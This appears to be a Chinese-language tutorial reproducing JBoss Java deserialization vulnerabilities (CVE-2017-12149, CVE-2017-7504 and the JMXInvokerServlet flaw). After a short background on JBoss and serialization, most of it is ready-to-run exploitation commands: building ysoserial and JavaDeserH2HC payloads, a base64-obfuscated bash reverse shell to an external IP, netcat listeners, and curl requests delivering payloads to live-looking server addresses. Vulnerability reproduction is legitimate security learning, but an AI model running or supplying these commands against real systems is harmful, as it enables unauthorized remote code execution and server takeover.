Jboss
前置知识
Jboss作为Java EE应用服务器,它不但是Servlet容器,而且是EJB容器,从而受到企业级开发人员的欢迎,从而弥补了Tomcat只是一个Servlet容器的缺憾。
JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。
另外,JBoss应用服务器还具有许多优秀的特质。
其一,将具有革命性的JMX微内核服务作为其总线结构;
其二,本身就是面向服务架构(Service-Oriented Architecture,SOA);
其三,具有统一的类装载器,从而能够实现应用的热部署和热卸载能力。
因此,高度模块化的和松耦合。JBoss应用服务器是健壮的、高质量的,而且还具有良好的性能。
序列化
弄清楚什么是序列化,哪些数据能够被序列化,序列化后的数据能否被执行
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。
CVE-2017-12149(JBOSS反序列化远程代码执行漏洞)
一:漏洞说明
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
二、影响的版本
5.x和6.x版本的JBOSSAS
三、漏洞复现
访问http://ip:8080
下载poc
git clone https://github.com/joaomatosf/JavaDeserH2HC
生产payload文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
../jdk1.8.0_202/bin/javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
设置接受shell的主机IP和端口
../jdk1.8.0_202/bin/java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.217.139:4444
监听端口
nc -lvvp 4444
向被攻击服务器发送攻击Payload
curl http://123.58.224.8:14305/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
CVE-2017-7504(jboss 反序列化 )
漏洞说明
Red Hat JBoss Application Server(AS,也称WildFly)是美国红帽(Red Hat)公司的一款基于JavaEE的开源的应用服务器,它具有启动超快、轻量、模块化设计、热部署和并行部署、简洁管理、域管理及第一类元件等特性。 Red Hat Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响范围
JBoss AS 4.x及之前版本。
漏洞复现
漏洞页面
http://123.58.224.8:62550/jbossmq-httpil/HTTPServerILServlet
poc
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/123" > 1.ser
# 利用jar包生成一个创建success文件的payload文件1.ser
curl http://123.58.224.8:53158/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
# 利用curl工具向jbossmq-httpil/HTTPServerILServlet 发送一个1.ser的请求
shell
监听
nc -lvvp port
exp
ysoserial
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDkuMTg0LjQ0Lzk5OSAwPiYx}|{base64,-d}|{bash,-i}" > 1.ser
#利用jar包生成一个执行反弹shell的payload文件1.ser bash命令 base64编码
curl http://123.58.224.8:53158/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
# 利用curl工具向jbossmq-httpil/HTTPServerILServlet 发送一个1.ser的请求
JavaDeserH2HC
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDkuMTg0LjQ0Lzk5OSAwPiYx}|{base64,-d}|{bash,-i}"
nc -lvvp 4444
curl http://123.58.224.8:53158/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
JBoss JMXInvokerServlet (反序列化漏洞)
漏洞原因
漏洞产生的原因 该漏洞为 Java反序列化类型,位于 Jboss 的 HttpInvoker 组件中ReadOnlyAccessFilter 过滤器中。 该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
影响版本
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
- JBoss AS (Wildly) 6 and earlier
- JBoss A-MQ 6.2.0
- JBoss Fuse 6.2.0
- JBoss SOA Platform (SOA-P) 5.3.1
- JBoss Data Grid (JDG) 6.5.0
- JBoss BRMS (BRMS) 6.1.0
- JBoss BPMS (BPMS) 6.1.0
- JBoss Data Virtualization (JDV) 6.1.0
- JBoss Fuse Service Works (FSW) 6.0.0
- JBoss Enterprise Web Server (EWS) 2.1,3.0
漏洞复现
访问http://ip:8080/invoker/JMXInvokerServlet目录,会有Servlet组件弹框提示下载
exp
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 47.109.184.44:2333
curl http://123.58.224.8:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
nc -lvp 2333